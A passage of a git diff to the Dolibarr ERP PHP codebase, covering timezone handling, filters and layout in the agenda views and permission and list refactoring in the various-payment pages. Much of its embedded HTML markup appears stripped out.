$year))."')"; + $sql .= " AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year, 'tzuserrel'))."')"; $sql .= " OR "; $sql .= " (a.datep2 BETWEEN '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year, 'tzuserrel'))."'"; - $sql .= " AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year))."')"; + $sql .= " AND '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year, 'tzuserrel'))."')"; $sql .= " OR "; - $sql .= " (a.datep < '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year))."'"; + $sql .= " (a.datep < '".$db->idate(dol_mktime(0, 0, 0, $month, $day, $year, 'tzuserrel'))."'"; $sql .= " AND a.datep2 > '".$db->idate(dol_mktime(23, 59, 59, $month, $day, $year, 'tzuserrel'))."')"; $sql .= ')'; } else { @@ -619,12 +619,14 @@ if ($type) { if ($status == '0') { $sql .= " AND a.percent = 0"; } -if ($status == '-1') { +if ($status === 'na') { + // Not applicable $sql .= " AND a.percent = -1"; -} // Not applicable +} if ($status == '50') { + // Running already started $sql .= " AND (a.percent > 0 AND a.percent < 100)"; -} // Running already started +} if ($status == 'done' || $status == '100') { $sql .= " AND (a.percent = 100)"; } @@ -788,8 +790,9 @@ echo ''; //print "begin_d=".$begin_d." end_d=".$end_d; +echo '
      '; -echo '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; - $formactions->form_select_status_action('formaction', $search_status, 1, 'search_status', 1, 2, 'minwidth100imp maxwidth125'); - print ajax_combobox('selectsearch_status'); + print ''; + $formactions->form_select_status_action('formaction', $search_status, 1, 'search_status', 1, 2, 'search_status width100 onrightofpage'); print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print ''; @@ -931,10 +1011,17 @@ while ($i < $imaxinloop) { // User owner if (!empty($arrayfields['owner']['checked'])) { - print ''; // With edge and chrome the td overflow is not supported correctly when content is not full text. - if ($obj->fk_user_action > 0) { - $userstatic->fetch($obj->fk_user_action); - print $userstatic->getNomUrl(-1); + //print ''; + print ''; + if ($obj->fk_user_action > 0 && !isset($cache_user_list[$obj->fk_user_action])) { + $userstatic = new User($db); + $res = $userstatic->fetch($obj->fk_user_action); + if ($res > 0) { + $cache_user_list[$obj->fk_user_action] = $userstatic; + } + } + if (isset($cache_user_list[$obj->fk_user_action])) { + print $cache_user_list[$obj->fk_user_action]->getNomUrl(-1); } else { print ' '; } @@ -949,7 +1036,7 @@ while ($i < $imaxinloop) { if (empty($conf->global->AGENDA_USE_EVENT_TYPE) && empty($arraylist[$labeltype])) { $labeltype = 'AC_OTH'; } - if ($actionstatic->type_code == 'AC_OTH' && $actionstatic->code == 'TICKET_MSG') { + if (preg_match('/^TICKET_MSG/', $actionstatic->code)) { $labeltype = $langs->trans("Message"); } else { if (!empty($arraylist[$labeltype])) { @@ -982,13 +1069,14 @@ while ($i < $imaxinloop) { // Start date if (!empty($arrayfields['a.datep']['checked'])) { - print ''; + print ''; if (empty($obj->fulldayevent)) { print dol_print_date($db->jdate($obj->dp), $formatToUse, 'tzuserrel'); } else { $tzforfullday = getDolGlobalString('MAIN_STORE_FULL_EVENT_IN_GMT'); print dol_print_date($db->jdate($obj->dp), $formatToUse, ($tzforfullday ? $tzforfullday : 'tzuserrel')); } + print ''; $late = 0; if ($actionstatic->hasDelay() && $actionstatic->percentage >= 0 && $actionstatic->percentage < 100 ) { $late = 1; @@ -1001,13 +1089,14 @@ while ($i < $imaxinloop) { // End date if (!empty($arrayfields['a.datep2']['checked'])) { - print ''; + print ''; if (empty($obj->fulldayevent)) { print dol_print_date($db->jdate($obj->dp2), $formatToUse, 'tzuserrel'); } else { $tzforfullday = getDolGlobalString('MAIN_STORE_FULL_EVENT_IN_GMT'); print dol_print_date($db->jdate($obj->dp2), $formatToUse, ($tzforfullday ? $tzforfullday : 'tzuserrel')); } + print ''; print ''.$actionstatic->LibStatut($obj->percent, 5, 0, $datep).''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->id, $arrayofselected)) { - $selected = 1; + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->id, $arrayofselected)) { + $selected = 1; + } + print ''; } - print ''; + print '
      '; +echo '
      '; echo ''; echo ''; @@ -847,10 +850,11 @@ foreach ($typeofevents as $typeofevent) { // Show days of the current week $curtime = dol_time_plus_duree($firstdaytoshow, $iter_day, 'd'); - $tmparray = dol_getdate($curtime, 'fast'); - $tmpday = $tmparray['mday']; - $tmpmonth = $tmparray['mon']; - $tmpyear = $tmparray['year']; + // $curtime is a gmt time, but we want the day, month, year in user TZ + $tmpday = dol_print_date($curtime, "%d", "tzuserrel"); + $tmpmonth = dol_print_date($curtime, "%m", "tzuserrel"); + $tmpyear = dol_print_date($curtime, "%Y", "tzuserrel"); + //var_dump($curtime.' '.$tmpday.' '.$tmpmonth.' '.$tmpyear); $style = 'cal_current_month'; if ($iter_day == 6) { @@ -875,6 +879,8 @@ foreach ($typeofevents as $typeofevent) { echo "
      \n"; echo "
      "; +echo '
      '; + if (!empty($conf->global->AGENDA_USE_EVENT_TYPE)) { $langs->load("commercial"); print '
      '.$langs->trans("Legend").':
      '; @@ -984,14 +990,14 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s // We are in a particular day for $username, now we scan all events foreach ($eventarray as $daykey => $notused) { - $annee = dol_print_date($daykey, '%Y'); - $mois = dol_print_date($daykey, '%m'); - $jour = dol_print_date($daykey, '%d'); + $annee = dol_print_date($daykey, '%Y', 'tzuserrel'); + $mois = dol_print_date($daykey, '%m', 'tzuserrel'); + $jour = dol_print_date($daykey, '%d', 'tzuserrel'); - if ($day == $jour && $month == $mois && $year == $annee) { // Is it the day we are looking for when calling function ? + if ($day == $jour && (int) $month == (int) $mois && $year == $annee) { // Is it the day we are looking for when calling function ? // Scan all event for this date foreach ($eventarray[$daykey] as $index => $event) { - //print $daykey.' '.$year.'-'.$month.'-'.$day.' -> '.$event->id.' '.$index.' '.$annee.'-'.$mois.'-'.$jour."
      \n"; + //print 'daykey='.$daykey.' '.$year.'-'.$month.'-'.$day.' -> '.$event->id.' '.$index.' '.$annee.'-'.$mois.'-'.$jour."
      \n"; //var_dump($event); $keysofuserassigned = array_keys($event->userassigned); @@ -1173,7 +1179,7 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s } } - // Now output $casesX + // Now output $casesX from start hour to end hour for ($h = $begin_h; $h < $end_h; $h++) { $color1 = ''; $color2 = ''; $style1 = ''; $style2 = ''; @@ -1214,11 +1220,12 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s } } - $ids1 = ''; $ids2 = ''; - if (count($cases1[$h]) && array_keys($cases1[$h])) { + $ids1 = ''; + $ids2 = ''; + if (!empty($cases1[$h]) && is_array($cases1[$h]) && count($cases1[$h]) && array_keys($cases1[$h])) { $ids1 = join(',', array_keys($cases1[$h])); } - if (count($cases2[$h]) && array_keys($cases2[$h])) { + if (!empty($cases2[$h]) && is_array($cases2[$h]) && count($cases2[$h]) && array_keys($cases2[$h])) { $ids2 = join(',', array_keys($cases2[$h])); } @@ -1227,7 +1234,7 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s } else { echo '
      '; } - if (count($cases1[$h]) == 1) { // only 1 event + if (!empty($cases1[$h]) && is_array($cases1[$h]) && count($cases1[$h]) == 1) { // only 1 event $output = array_slice($cases1[$h], 0, 1); $title1 = $langs->trans("Ref").' '.$ids1.($title1 ? ' - '.$title1 : ''); if ($output[0]['string']) { @@ -1236,12 +1243,12 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s if ($output[0]['color']) { $color1 = $output[0]['color']; } - } elseif (count($cases1[$h]) > 1) { + } elseif (!empty($cases1[$h]) && is_array($cases1[$h]) && count($cases1[$h]) > 1) { $title1 = $langs->trans("Ref").' '.$ids1.($title1 ? ' - '.$title1 : ''); $color1 = '222222'; } - if (count($cases2[$h]) == 1) { // only 1 event + if (!empty($cases2[$h]) && is_array($cases2[$h]) && count($cases2[$h]) == 1) { // only 1 event $output = array_slice($cases2[$h], 0, 1); $title2 = $langs->trans("Ref").' '.$ids2.($title2 ? ' - '.$title2 : ''); if ($output[0]['string']) { @@ -1250,7 +1257,7 @@ function show_day_events_pertype($username, $day, $month, $year, $monthshown, $s if ($output[0]['color']) { $color2 = $output[0]['color']; } - } elseif (count($cases2[$h]) > 1) { + } elseif (!empty($cases2[$h]) && is_array($cases2[$h]) && count($cases2[$h]) > 1) { $title2 = $langs->trans("Ref").' '.$ids2.($title2 ? ' - '.$title2 : ''); $color2 = '222222'; } diff --git a/htdocs/comm/action/peruser.php b/htdocs/comm/action/peruser.php index 5c5ef948c30..a2b1aad9d6a 100644 --- a/htdocs/comm/action/peruser.php +++ b/htdocs/comm/action/peruser.php @@ -234,7 +234,7 @@ if ($reshook < 0) { $form = new Form($db); $companystatic = new Societe($db); -$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:Módulo_Agenda'; +$help_url = 'EN:Module_Agenda_En|FR:Module_Agenda|ES:Módulo_Agenda|DE:Modul_Terminplanung'; llxHeader('', $langs->trans("Agenda"), $help_url); $now = dol_now(); @@ -349,27 +349,30 @@ $next_year = $next['year']; $next_month = $next['month']; $next_day = $next['day']; -// Define firstdaytoshow and lastdaytoshow (warning: lastdaytoshow is last second to show + 1) -$firstdaytoshow = dol_mktime(0, 0, 0, $first_month, $first_day, $first_year, 'gmt'); - +// Define firstdaytoshow and lastdaytoshow. Warning: lastdaytoshow is last second to show + 1 +// $firstdaytoshow and lastdaytoshow become a gmt dates to use to search/compare because first_xxx are in tz idea and we used tzuserrel +$firstdaytoshow = dol_mktime(0, 0, 0, $first_month, $first_day, $first_year, 'tzuserrel'); $nb_weeks_to_show = (!empty($conf->global->AGENDA_NB_WEEKS_IN_VIEW_PER_USER)) ? ((int) $conf->global->AGENDA_NB_WEEKS_IN_VIEW_PER_USER * 7) : 7; $lastdaytoshow = dol_time_plus_duree($firstdaytoshow, $nb_weeks_to_show, 'd'); //print $firstday.'-'.$first_month.'-'.$first_year; -//print dol_print_date($firstdaytoshow,'dayhour'); -//print dol_print_date($lastdaytoshow,'dayhour'); +//print dol_print_date($firstdaytoshow, 'dayhour', 'gmt'); +//print dol_print_date($lastdaytoshow,'dayhour', 'gmt'); $max_day_in_month = date("t", dol_mktime(0, 0, 0, $month, 1, $year, 'gmt')); $tmpday = $first_day; $picto = 'calendarweek'; -$nav = "trans("Previous"))."\">   \n"; +// Show navigation bar +$nav = ''; $nav .= $form->selectDate($dateselect, 'dateselect', 0, 0, 1, '', 1, 0); $nav .= ' '; @@ -475,7 +478,7 @@ if (empty($reshook)) { $newparam = ''; $newcardbutton = ''; -if ($user->rights->agenda->myactions->create || $user->rights->agenda->allactions->create) { +if ($user->rights->agenda->myactions->create || $user->hasRight('agenda', 'allactions', 'create')) { $tmpforcreatebutton = dol_getdate(dol_now(), true); $newparam .= '&month='.urlencode(str_pad($month, 2, "0", STR_PAD_LEFT)).'&year='.urlencode($tmpforcreatebutton['year']); @@ -628,7 +631,7 @@ if ($type) { if ($status == '0') { $sql .= " AND a.percent = 0"; } -if ($status == '-1' || $status == 'na') { +if ($status === 'na') { // Not applicable $sql .= " AND a.percent = -1"; } @@ -655,7 +658,7 @@ if ($filtert > 0 || $usergroup > 0) { } // Sort on date $sql .= ' ORDER BY fk_user_action, datep'; //fk_user_action - +//print $sql; dol_syslog("comm/action/peruser.php", LOG_DEBUG); $resql = $db->query($sql); @@ -665,6 +668,7 @@ if ($resql) { $i = 0; while ($i < $num) { $obj = $db->fetch_object($resql); + //print $obj->fk_user_action.' '.$obj->id."
      "; // Discard auto action if option is on if (!empty($conf->global->AGENDA_ALWAYS_HIDE_AUTO) && $obj->code == 'AC_OTH_AUTO') { @@ -675,6 +679,7 @@ if ($resql) { $datep = $db->jdate($obj->datep); $datep2 = $db->jdate($obj->datep2); + // Create a new object action $event = new ActionComm($db); $event->id = $obj->id; @@ -717,13 +722,15 @@ if ($resql) { } } + //print '
      '.$i.' - eventid='.$event->id.' '.dol_print_date($event->date_start_in_calendar, 'dayhour').' '.dol_print_date($firstdaytoshow, 'dayhour').' - '.dol_print_date($event->date_end_in_calendar, 'dayhour').' '.dol_print_date($lastdaytoshow, 'dayhour').'
      '."\n"; + // Check values if ($event->date_end_in_calendar < $firstdaytoshow || $event->date_start_in_calendar >= $lastdaytoshow) { // This record is out of visible range unset($event); } else { - //print $i.' - '.dol_print_date($this->date_start_in_calendar, 'dayhour').' - '.dol_print_date($this->date_end_in_calendar, 'dayhour').'
      '."\n"; + //print $i.' - eventid='.$event->id.' '.dol_print_date($event->date_start_in_calendar, 'dayhour').' - '.dol_print_date($event->date_end_in_calendar, 'dayhour').'
      '."\n"; $event->fetch_userassigned(); // This load $event->userassigned if ($event->date_start_in_calendar < $firstdaytoshow) { @@ -744,7 +751,7 @@ if ($resql) { $loop = true; $j = 0; $daykey = dol_mktime(0, 0, 0, $mois, $jour, $annee, 'gmt'); do { - //if ($event->id==408) print 'daykey='.$daykey.' '.$event->datep.' '.$event->datef.'
      '; + //print 'Add event into eventarray for daykey='.$daykey.'='.dol_print_date($daykey, 'dayhour', 'gmt').' '.$event->id.' '.$event->datep.' '.$event->datef.'
      '; $eventarray[$daykey][] = $event; $j++; @@ -802,6 +809,7 @@ echo ''; $currentdaytoshow = $firstdaytoshow; echo '
      '; +//print dol_print_date($currentdaytoshow, 'dayhour', 'gmt'); while ($currentdaytoshow < $lastdaytoshow) { echo ''; @@ -853,9 +861,9 @@ while ($currentdaytoshow < $lastdaytoshow) { echo ''.$langs->trans("Day".(($i + (isset($conf->global->MAIN_START_WEEK) ? $conf->global->MAIN_START_WEEK : 1)) % 7)).''; print "
      "; if ($i) { - print dol_print_date(dol_time_plus_duree($currentdaytoshow, $i, 'd'), 'day'); + print dol_print_date(dol_time_plus_duree($currentdaytoshow, $i, 'd'), 'day', 'tzuserrel'); } else { - print dol_print_date($currentdaytoshow, 'day'); + print dol_print_date($currentdaytoshow, 'day', 'tzuserrel'); } echo "\n"; $i++; @@ -916,6 +924,10 @@ while ($currentdaytoshow < $lastdaytoshow) { if ($usergroup > 0) { $sql .= " AND ug.fk_usergroup = ".((int) $usergroup); } + if ($user->socid > 0) { + // External users should see only contacts of their company + $sql .= " AND u.fk_soc = ".((int) $user->socid); + } //print $sql; $resql = $db->query($sql); @@ -940,26 +952,6 @@ while ($currentdaytoshow < $lastdaytoshow) { $usernames[] = $tmpuser; } - /* - if ($filtert > 0) - { - $tmpuser = new User($db); - $tmpuser->fetch($filtert); - $usernames[] = $tmpuser; - } - else if ($usergroup) - { - $tmpgroup = new UserGroup($db); - $tmpgroup->fetch($usergroup); - $usernames = $tmpgroup->listUsersForGroup(); - } - else - { - $tmpgroup = new UserGroup($db); - //$tmpgroup->fetch($usergroup); No fetch, we want all users for all groups - $usernames = $tmpgroup->listUsersForGroup(); - }*/ - // Load array of colors by type $colorsbytype = array(); $labelbytype = array(); @@ -976,6 +968,8 @@ while ($currentdaytoshow < $lastdaytoshow) { $showheader = true; $var = false; foreach ($usernames as $username) { + //if ($username->login != 'admin') continue; + $var = !$var; echo ""; echo '"; if ($tmpobj->total_ttc < 0) { print '"; - }; + } if ($tmpobj->total_ttc >= 0) { print '"; - }; + } print ''; print ""; } diff --git a/htdocs/compta/bank/various_payment/card.php b/htdocs/compta/bank/various_payment/card.php index 79f338cef85..7fbf2774e85 100644 --- a/htdocs/compta/bank/various_payment/card.php +++ b/htdocs/compta/bank/various_payment/card.php @@ -1,6 +1,7 @@ * Copyright (C) 2018-2020 Frédéric France + * Copyright (C) 2023 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -71,6 +72,8 @@ $object = new PaymentVarious($db); // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('variouscard', 'globalcard')); +$permissiontoadd = $user->hasRight('banque', 'modifier'); + /** * Actions @@ -83,14 +86,8 @@ if ($reshook < 0) { } if (empty($reshook)) { - // Link to a project - if ($action == 'classin' && $user->rights->banque->modifier) { - $object->fetch($id); - $object->setProject(GETPOST('projectid')); - } - if ($cancel) { - if ($action != 'addlink') { + if ($action != 'addlink' && $action != 'setaccountancy_code' && $action != 'setsubledger_account') { $urltogo = $backtopage ? $backtopage : dol_buildpath('/compta/bank/various_payment/list.php', 1); header("Location: ".$urltogo); exit; @@ -101,6 +98,12 @@ if (empty($reshook)) { $action = ''; } + // Link to a project + if ($action == 'classin' && $permissiontoadd) { + $object->fetch($id); + $object->setProject(GETPOST('projectid', 'int')); + } + if ($action == 'add') { $error = 0; @@ -214,6 +217,22 @@ if (empty($reshook)) { } } + if ($action == 'setaccountancy_code') { + $db->begin(); + + $result = $object->fetch($id); + + $object->accountancy_code = GETPOST('accountancy_code', 'alpha'); + + $res = $object->update($user); + if ($res > 0) { + $db->commit(); + } else { + $db->rollback(); + setEventMessages($object->error, $object->errors, 'errors'); + } + } + if ($action == 'setsubledger_account') { $db->begin(); @@ -236,7 +255,7 @@ if ($action == 'confirm_clone' && $confirm != 'yes') { $action = ''; } -if ($action == 'confirm_clone' && $confirm == 'yes' && ($user->rights->banque->modifier)) { +if ($action == 'confirm_clone' && $confirm == 'yes' && $permissiontoadd) { $db->begin(); $originalId = $id; @@ -560,32 +579,25 @@ if ($id) { // Project if (isModEnabled('project')) { $langs->load("projects"); - $morehtmlref .= $langs->trans('Project').' '; - if ($user->rights->banque->modifier) { + //$morehtmlref .= '
      '; + if ($permissiontoadd) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { - $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; - } - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref .= '
      '; - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects(0, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); - $morehtmlref .= ''; - $morehtmlref .= ''; - } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); $morehtmlref .= $proj->getNomUrl(1); - } else { - $morehtmlref .= ''; + if ($proj->title) { + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; + } } } } + $morehtmlref .= ''; $linkback = ''.$langs->trans("BackToList").''; @@ -622,39 +634,48 @@ if ($id) { print '
      '; - // Accountancy code - print ''; + print ''; // Subledger account print ''; - if (isModEnabled("banque")) { - if ($object->fk_account > 0) { - $bankline = new AccountLine($db); - $bankline->fetch($object->fk_bank); + $bankaccountnotfound = 0; - print ''; - print ''; - print ''; - print ''; + if (isModEnabled('banque')) { + print ''; + print ''; + print ''; + print ''; } // Other attributes @@ -679,13 +700,13 @@ if ($id) { // Add button modify // Clone - if ($user->rights->banque->modifier) { + if ($permissiontoadd) { print '"; } // Delete - if (empty($object->rappro)) { - if (!empty($user->rights->banque->modifier)) { + if (empty($object->rappro) || $bankaccountnotfound) { + if ($permissiontoadd) { if ($alreadyaccounted) { print ''; } else { diff --git a/htdocs/compta/bank/various_payment/document.php b/htdocs/compta/bank/various_payment/document.php index 611d516613b..58e4d3680b9 100644 --- a/htdocs/compta/bank/various_payment/document.php +++ b/htdocs/compta/bank/various_payment/document.php @@ -100,7 +100,6 @@ if ($object->id) { // Project if (isModEnabled('project')) { $langs->load("projects"); - $morehtmlref .= $langs->trans('Project').' : '; if ($user->rights->banque->modifier && 0) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; @@ -114,7 +113,7 @@ if ($object->id) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/compta/bank/various_payment/info.php b/htdocs/compta/bank/various_payment/info.php index 7cca5c7b4ec..06f243a9847 100644 --- a/htdocs/compta/bank/various_payment/info.php +++ b/htdocs/compta/bank/various_payment/info.php @@ -60,7 +60,6 @@ $morehtmlref = '
      '; // Project if (isModEnabled('project')) { $langs->load("projects"); - $morehtmlref .= $langs->trans('Project').' : '; if ($user->rights->banque->modifier && 0) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; @@ -74,7 +73,7 @@ if (isModEnabled('project')) { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { diff --git a/htdocs/compta/bank/various_payment/list.php b/htdocs/compta/bank/various_payment/list.php index 93ec0ed20dc..d72238e3fe6 100644 --- a/htdocs/compta/bank/various_payment/list.php +++ b/htdocs/compta/bank/various_payment/list.php @@ -29,6 +29,7 @@ require '../../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/paymentvarious.class.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formaccounting.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; require_once DOL_DOCUMENT_ROOT.'/accountancy/class/accountingaccount.class.php'; require_once DOL_DOCUMENT_ROOT.'/accountancy/class/accountingjournal.class.php'; require_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; @@ -45,6 +46,7 @@ if ($user->socid) { } $optioncss = GETPOST('optioncss', 'alpha'); +$mode = GETPOST('mode', 'alpha'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $search_ref = GETPOST('search_ref', 'int'); @@ -83,9 +85,10 @@ $search_type_id = GETPOST('search_type_id', 'int'); $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1) { +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -172,6 +175,14 @@ $result = restrictedArea($user, 'banque', '', '', ''); * Actions */ +if (GETPOST('cancel', 'alpha')) { + $action = 'list'; + $massaction = ''; +} +if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { + $massaction = ''; +} + $parameters = array(); $reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks if ($reshook < 0) { @@ -181,6 +192,23 @@ if ($reshook < 0) { if (empty($reshook)) { // Selection of new fields include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + foreach ($object->fields as $key => $val) { + $search[$key] = ''; + if (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + $search[$key.'_dtstart'] = ''; + $search[$key.'_dtend'] = ''; + } + } + $toselect = array(); + $search_array_options = array(); + } + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha') + || GETPOST('button_search_x', 'alpha') || GETPOST('button_search.x', 'alpha') || GETPOST('button_search', 'alpha')) { + $massaction = ''; // Protection to avoid mass action if we force a new search during a mass action confirmation + } } /* @@ -213,6 +241,9 @@ if ($arrayfields['account']['checked']) { $sql = "SELECT v.rowid, v.sens, v.amount, v.label, v.datep as datep, v.datev as datev, v.fk_typepayment as type, v.num_payment, v.fk_bank, v.accountancy_code, v.subledger_account, v.fk_projet as fk_project,"; $sql .= " ba.rowid as bid, ba.ref as bref, ba.number as bnumber, ba.account_number as bank_account_number, ba.fk_accountancy_journal as accountancy_journal, ba.label as blabel,"; $sql .= " pst.code as payment_code"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."payment_various as v"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_paiement as pst ON v.fk_typepayment = pst.id"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank as b ON v.fk_bank = b.rowid"; @@ -263,291 +294,367 @@ if ($search_all) { $sql .= natural_search(array_keys($fieldstosearchall), $search_all); } -$sql .= $db->order($sortfield, $sortorder); +// Count total nb of records +$nbtotalofrecords = ''; +if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } -$totalnboflines = 0; -$resql = $db->query($sql); -if ($resql) { - $totalnboflines = $db->num_rows($resql); + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than paging size (filtering), goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); +} + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } -$sql .= $db->plimit($limit + 1, $offset); $resql = $db->query($sql); -if ($resql) { - $num = $db->num_rows($resql); +if (!$resql) { + dol_print_error($db); + exit; +} - // Direct jump if only one record found - if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all) { - $obj = $db->fetch_object($resql); - $id = $obj->rowid; - header("Location: ".DOL_URL_ROOT.'/compta/bank/various_payment/card.php?id='.$id); - exit; - } +$num = $db->num_rows($resql); - // must be place behind the last "header(...)" call - llxHeader('', $langs->trans("VariousPayments")); +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { + $obj = $db->fetch_object($resql); + $id = $obj->rowid; + header("Location: ".DOL_URL_ROOT.'/compta/bank/various_payment/card.php?id='.$id); + exit; +} - $i = 0; - $total = 0; +// must be place behind the last "header(...)" call +llxHeader('', $langs->trans("VariousPayments")); - $param = ''; - if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); - } - if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); - } - if ($search_ref) { - $param .= '&search_ref='.urlencode($search_ref); - } - if ($search_label) { - $param .= '&search_label='.urlencode($search_label); - } - if ($search_datep_start) { - $param .= '&search_datep_start='.urlencode($search_datep_start); - } - if ($search_datep_end) { - $param .= '&search_datep_end='.urlencode($search_datep_end); - } - if ($search_datev_start) { - $param .= '&search_datev_start='.urlencode($search_datev_start); - } - if ($search_datev_end) { - $param .= '&search_datev_end='.urlencode($search_datev_end); - } - if ($search_type_id > 0) { - $param .= '&search_type_id='.urlencode($search_type_id); - } - if ($search_amount_deb) { - $param .= '&search_amount_deb='.urlencode($search_amount_deb); - } - if ($search_amount_cred) { - $param .= '&search_amount_cred='.urlencode($search_amount_cred); - } - if ($search_bank_account > 0) { - $param .= '&search_account='.urlencode($search_bank_account); - } - if ($search_accountancy_account > 0) { - $param .= '&search_accountancy_account='.urlencode($search_accountancy_account); - } - if ($search_accountancy_subledger > 0) { - $param .= '&search_accountancy_subledger='.urlencode($search_accountancy_subledger); - } - if ($optioncss != '') { - $param .= '&optioncss='.urlencode($optioncss); - } +$i = 0; +$total = 0; - $url = DOL_URL_ROOT.'/compta/bank/various_payment/card.php?action=create'; - if (!empty($socid)) { - $url .= '&socid='.urlencode($socid); +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) 